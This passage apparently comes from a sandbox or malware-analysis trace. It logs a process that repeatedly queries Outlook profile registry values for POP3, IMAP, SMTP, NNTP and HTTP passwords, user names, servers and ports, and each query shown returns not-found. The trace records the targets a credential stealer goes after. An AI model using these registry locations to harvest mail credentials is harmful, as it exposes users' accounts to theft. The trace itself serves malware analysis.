RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.388] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.388] RegCloseKey (hKey=0x930) returned 0x0 [0096.388] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.388] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.389] RegCloseKey (hKey=0x930) returned 0x0 [0096.389] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.389] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.389] RegCloseKey (hKey=0x930) returned 0x0 [0096.389] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.389] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.389] RegCloseKey (hKey=0x930) returned 0x0 [0096.389] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.389] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.389] RegCloseKey (hKey=0x930) returned 0x0 [0096.389] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.389] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.389] RegCloseKey (hKey=0x930) returned 0x0 [0096.389] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.389] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.389] RegCloseKey (hKey=0x930) returned 0x0 [0096.389] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.390] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.390] RegCloseKey (hKey=0x930) returned 0x0 [0096.390] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.390] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.390] RegCloseKey (hKey=0x930) returned 0x0 [0096.390] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.390] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.390] RegCloseKey (hKey=0x930) returned 0x0 [0096.390] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.390] RegQueryValueExA (in: hKey=0x930, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.390] RegCloseKey (hKey=0x930) returned 0x0 [0096.390] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.390] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.390] RegCloseKey (hKey=0x930) returned 0x0 [0096.390] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.390] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.390] RegCloseKey (hKey=0x930) returned 0x0 [0096.390] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.391] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.391] RegCloseKey (hKey=0x930) returned 0x0 [0096.391] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.391] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.391] RegCloseKey (hKey=0x930) returned 0x0 [0096.391] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.391] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.391] RegCloseKey (hKey=0x930) returned 0x0 [0096.391] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.391] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.391] RegCloseKey (hKey=0x930) returned 0x0 [0096.391] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.391] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.391] RegCloseKey (hKey=0x930) returned 0x0 [0096.391] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.391] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.391] RegCloseKey (hKey=0x930) returned 0x0 [0096.392] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.392] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.392] RegCloseKey (hKey=0x930) returned 0x0 [0096.392] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.392] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.392] RegCloseKey (hKey=0x930) returned 0x0 [0096.392] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.392] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.392] RegCloseKey (hKey=0x930) returned 0x0 [0096.392] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.392] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.392] RegCloseKey (hKey=0x930) returned 0x0 [0096.392] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.392] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.392] RegCloseKey (hKey=0x930) returned 0x0 [0096.392] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.392] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.392] RegCloseKey (hKey=0x930) returned 0x0 [0096.393] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.393] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.393] RegCloseKey (hKey=0x930) returned 0x0 [0096.393] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.393] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.393] RegCloseKey (hKey=0x930) returned 0x0 [0096.393] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.393] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.393] RegCloseKey (hKey=0x930) returned 0x0 [0096.393] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.393] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.393] RegCloseKey (hKey=0x930) returned 0x0 [0096.393] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.393] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.393] RegCloseKey (hKey=0x930) returned 0x0 [0096.393] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x201, phkResult=0x54de308 | out: phkResult=0x54de308*=0x930) returned 0x0 [0096.394] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54de2f8, lpData=0x54de2f0, lpcbData=0x54de300*=0x4 | out: lpType=0x54de2f8*=0x0, lpData=0x54de2f0*=0x0, lpcbData=0x54de300*=0x4) returned 0x2 [0096.394] RegCloseKey (hKey=0x930) returned 0x0 [0096.487] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.487] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.487] RegCloseKey (hKey=0x930) returned 0x0 [0096.487] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.487] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.487] RegCloseKey (hKey=0x930) returned 0x0 [0096.487] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.487] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.487] RegCloseKey (hKey=0x930) returned 0x0 [0096.487] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.487] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.487] RegCloseKey (hKey=0x930) returned 0x0 [0096.487] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.487] RegQueryValueExA (in: hKey=0x930, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.487] RegCloseKey (hKey=0x930) returned 0x0 [0096.487] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.487] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.487] RegCloseKey (hKey=0x930) returned 0x0 [0096.488] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.488] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.488] RegCloseKey (hKey=0x930) returned 0x0 [0096.488] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.488] RegQueryValueExA (in: hKey=0x930, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.488] RegCloseKey (hKey=0x930) returned 0x0 [0096.488] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.488] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.488] RegCloseKey (hKey=0x930) returned 0x0 [0096.488] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.488] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.488] RegCloseKey (hKey=0x930) returned 0x0 [0096.488] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.488] RegQueryValueExA (in: hKey=0x930, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.488] RegCloseKey (hKey=0x930) returned 0x0 [0096.488] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.488] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.488] RegCloseKey (hKey=0x930) returned 0x0 [0096.488] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.489] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.489] RegCloseKey (hKey=0x930) returned 0x0 [0096.489] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.489] RegQueryValueExA (in: hKey=0x930, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.489] RegCloseKey (hKey=0x930) returned 0x0 [0096.489] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.489] RegQueryValueExA (in: hKey=0x930, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 [0096.489] RegCloseKey (hKey=0x930) returned 0x0 [0096.489] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x101, phkResult=0x54de270 | out: phkResult=0x54de270*=0x930) returned 0x0 [0096.489] RegQueryValueExA (in: hKey=0x930, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54de2a8*=0x0) returned 0x2 